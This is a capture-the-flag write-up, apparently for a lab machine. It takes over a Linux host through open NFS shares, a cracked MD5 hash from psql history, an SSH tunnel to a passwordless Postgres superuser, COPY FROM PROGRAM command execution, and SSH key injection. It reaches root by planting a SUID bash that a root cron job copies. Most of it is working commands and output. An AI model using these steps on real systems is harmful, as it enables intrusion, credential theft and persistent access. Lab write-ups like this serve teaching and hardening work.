Summary
NFS shares exposed the target’s home directory and PostgreSQL backups. The user’s psql history contained an MD5 hash that cracked to service. SSH with that account drops you immediately (shell is /bin/false), but port forwarding still works – so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, COPY FROM PROGRAM gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory – which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell.
Chain: NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root
Recon
nmap -A -Pn 10.129.234.160 -oA nmap
Enter fullscreen mode Exit fullscreen mode
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs_acl 3 (RPC #100227)
Enter fullscreen mode Exit fullscreen mode
NFS on 2049 is immediately interesting. We check what’s exported:
showmount -e 10.129.234.160
Enter fullscreen mode Exit fullscreen mode
Export list for 10.129.234.160:
/var/backups *
/home *
Enter fullscreen mode Exit fullscreen mode
Both shares open to everyone (*). We mount them and enumerate:
mkdir -p /mnt/home /mnt/backups
mount -t nfs 10.129.234.160:/home /mnt/home
mount -t nfs 10.129.234.160:/var/backups /mnt/backups
Enter fullscreen mode Exit fullscreen mode
find /mnt/backups -maxdepth 3 -ls
# → several archive-*.zip files (~4.5MB each, created every minute)
find /mnt/home -maxdepth 3 -ls
# → /mnt/home/service (UID 1337, permission denied)
Enter fullscreen mode Exit fullscreen mode
We can’t read the service home directory yet because our local UID doesn’t match. We use NetExec to enumerate properly – it also detects a root escape vulnerability on the NFS server:
nxc nfs 10.129.234.160 --enum-shares
Enter fullscreen mode Exit fullscreen mode
NFS 10.129.234.160 [*] Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 [+] /var/backups
NFS 10.129.234.160 0 r-- 4.5MB /var/backups/archive-2026-06-28T0446.zip
NFS 10.129.234.160 [+] /home
NFS 10.129.234.160 1337 r-- 90B /home/service/.bash_history
NFS 10.129.234.160 1337 r-- 326B /home/service/.psql_history
NFS 10.129.234.160 1337 r-- 96B /home/service/.ssh/authorized_keys
NFS 10.129.234.160 1337 r-- 96B /home/service/.ssh/id_ed25519.pub
Enter fullscreen mode Exit fullscreen mode
The NFS root escape means we can traverse outside the share and read the whole filesystem. We use that to grab /etc/passwd and /etc/shadow:
nxc nfs 10.129.234.160 --get-file /etc/passwd passwd
nxc nfs 10.129.234.160 --get-file /etc/shadow shadow
Enter fullscreen mode Exit fullscreen mode
cat passwd | grep bash
root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
cat passwd | grep service
service:x:1337:1337:,,,,default password:/home/service:/bin/false
Enter fullscreen mode Exit fullscreen mode
The service account has /bin/false as its shell – it can’t get an interactive session. Also note the postgres user (UID 115) has a real bash shell.
grep '\$y\$' shadow
root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7
Enter fullscreen mode Exit fullscreen mode
Both hashes are yescrypt – slow to crack. We set those aside and focus on the NFS files.
Credential Discovery
To read the service home directory, we create a local user with matching UID:
groupadd -g 1337 servicegroup
useradd -u 1337 -g 1337 serviceuser
su serviceuser
cat /mnt/home/service/.bash_history
Enter fullscreen mode Exit fullscreen mode
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
Enter fullscreen mode Exit fullscreen mode
The bash history shows the service user connecting to postgres as the superuser via a Unix socket. We note the socket path: /var/run/postgresql/.s.PGSQL.5432.
cat /mnt/home/service/.psql_history
Enter fullscreen mode Exit fullscreen mode
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)
VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2', 'network access account');
select * from users;
\q
Enter fullscreen mode Exit fullscreen mode
There’s an MD5 hash in the history. We crack it on CrackStation:
aaabf0d39951f3e6c3e8a7911df524c2 → service
Enter fullscreen mode Exit fullscreen mode
Confirmed — the password is service.
SSH Access
nxc ssh 10.129.24.180 -u service -p service
Enter fullscreen mode Exit fullscreen mode
SSH 10.129.24.180 22 [+] service:service Network Devices
Enter fullscreen mode Exit fullscreen mode
Creds are valid. But when we actually SSH in:
ssh [email protected]
# (banner appears, then connection closes immediately)
Connection to 10.129.24.180 closed.
Enter fullscreen mode Exit fullscreen mode
Expected – /bin/false kicks us out. But port forwarding doesn’t need a shell. From the bash history we already know the Postgres Unix socket lives at /var/run/postgresql/.s.PGSQL.5432. We forward a local TCP port to that socket path on the remote:
ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 [email protected]
Enter fullscreen mode Exit fullscreen mode
The format is local_port:remote_socket_path – SSH listens on port 5432 locally and relays any connection through to the Unix socket on the server side. This runs in the background. In a new terminal:
psql -h localhost -p 5432 -U postgres
Enter fullscreen mode Exit fullscreen mode
psql (18.3, server 14.19)
postgres=#
Enter fullscreen mode Exit fullscreen mode
We’re in as the Postgres superuser with no password – the database is configured to trust local connections.
PostgreSQL Enumeration & RCE
postgres=# \du
Enter fullscreen mode Exit fullscreen mode
Role name | Attributes
-----------+------------------------------------------------------------
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS
Enter fullscreen mode Exit fullscreen mode
Full superuser. We check the databases and find the service db:
postgres=# \c service
postgres=# select * from users;
Enter fullscreen mode Exit fullscreen mode
id | username | password | description
----+----------+----------------------------------+------------------------
1 | service | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
Enter fullscreen mode Exit fullscreen mode
Nothing new. But as a superuser we can run OS commands:
create table cmd(output text);
copy cmd from program 'id';
select * from cmd;
Enter fullscreen mode Exit fullscreen mode
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
Enter fullscreen mode Exit fullscreen mode
RCE confirmed. We inject our SSH public key into the postgres home directory:
copy cmd from program 'mkdir -p /var/lib/postgresql/.ssh';
copy cmd from program 'chmod 700 /var/lib/postgresql/.ssh';
COPY cmd FROM PROGRAM 'echo "ssh-ed25519 AAAA...snip... kali@kali" > /var/lib/postgresql/.ssh/authorized_keys';
copy cmd from program 'chmod 600 /var/lib/postgresql/.ssh/authorized_keys';
Enter fullscreen mode Exit fullscreen mode
Shell as postgres – User Flag
ssh -i /home/kali/.ssh/id_ed25519 [email protected]
Enter fullscreen mode Exit fullscreen mode
postgres@slonik:~$ id
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
postgres@slonik:~$ cat user.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode
Privilege Escalation
Finding the cron job
First we run linpeas to get a broad picture of the system. A few things stand out:
╔══════════╣ Backup folders
drwxr-xr-x 3 root root 4096 Oct 23 2023 /opt/backups
-rwxr-xr-x 1 root root 392 Oct 24 2023 /usr/bin/backup ← custom backup script
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 274 Sep 25 2021 /usr/lib/systemd/system/[email protected]
-rw-r--r-- 1 root root 436 Sep 25 2021 /usr/lib/systemd/system/[email protected]
Enter fullscreen mode Exit fullscreen mode
We cat /usr/bin/backup and see it runs pg_basebackup to copy the Postgres data directory as root, then zips it up. Linpeas didn’t tell us when or how often it runs though — no obvious crontab entry was shown. So we pull in pspy64 to watch for the process in real time:
./pspy64
Enter fullscreen mode Exit fullscreen mode
2026/06/28 09:04:01 CMD: UID=0 | /bin/sh -c /usr/bin/backup
2026/06/28 09:04:01 CMD: UID=0 | /bin/bash /usr/bin/backup
2026/06/28 09:04:02 CMD: UID=0 | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
Enter fullscreen mode Exit fullscreen mode
Root runs /usr/bin/backup every minute. Looking back at the script:
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
Enter fullscreen mode Exit fullscreen mode
It wipes /opt/backups/current/, then uses pg_basebackup to copy the Postgres data directory (/var/lib/postgresql/14/main/) into it – running as root. The data directory is owned by postgres, so we can put anything we want in there before the cron fires.
The exploit
We copy bash into the data directory with the SUID bit set:
postgres@slonik:~/14/main$ cp /bin/bash cbash
postgres@slonik:~/14/main$ chmod +s cbash
Enter fullscreen mode Exit fullscreen mode
Wait up to a minute for the cron. When it fires, root copies everything including our SUID bash:
postgres@slonik:~/14/main$ ls -lah /opt/backups/current/cbash
-rwsr-sr-x 1 root root 1.4M Jun 28 09:32 cbash
Enter fullscreen mode Exit fullscreen mode
Owner is root, SUID bit is set. We run it with -p to keep the elevated privileges:
postgres@slonik:/opt/backups/current$ ./cbash -p
cbash-5.1# whoami
root
cbash-5.1# cat /root/root.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode
Attack Chain
NFS world-readable shares
↓
Read /home/service/.psql_history (UID spoof)
↓
MD5 hash → password: service
↓
SSH port forward (bypasses /bin/false)
↓
Postgres superuser via Unix socket tunnel
↓
COPY FROM PROGRAM → RCE as postgres
↓
SSH key injection → stable shell + user.txt
↓
postgres owns data dir → drop SUID bash
↓
Root cron copies SUID bash → root.txt
Enter fullscreen mode Exit fullscreen mode
Key Vulnerabilities
Vulnerability Where NFS exported with* and no root_squash
/etc/exports
MD5 hash stored in shell history
/home/service/.psql_history
Postgres superuser with no password (trust auth)
pg_hba.conf
SSH port forwarding not restricted for /bin/false accounts
sshd_config
Root cron copies from postgres-owned directory, preserving SUID
/usr/bin/backup
답글 남기기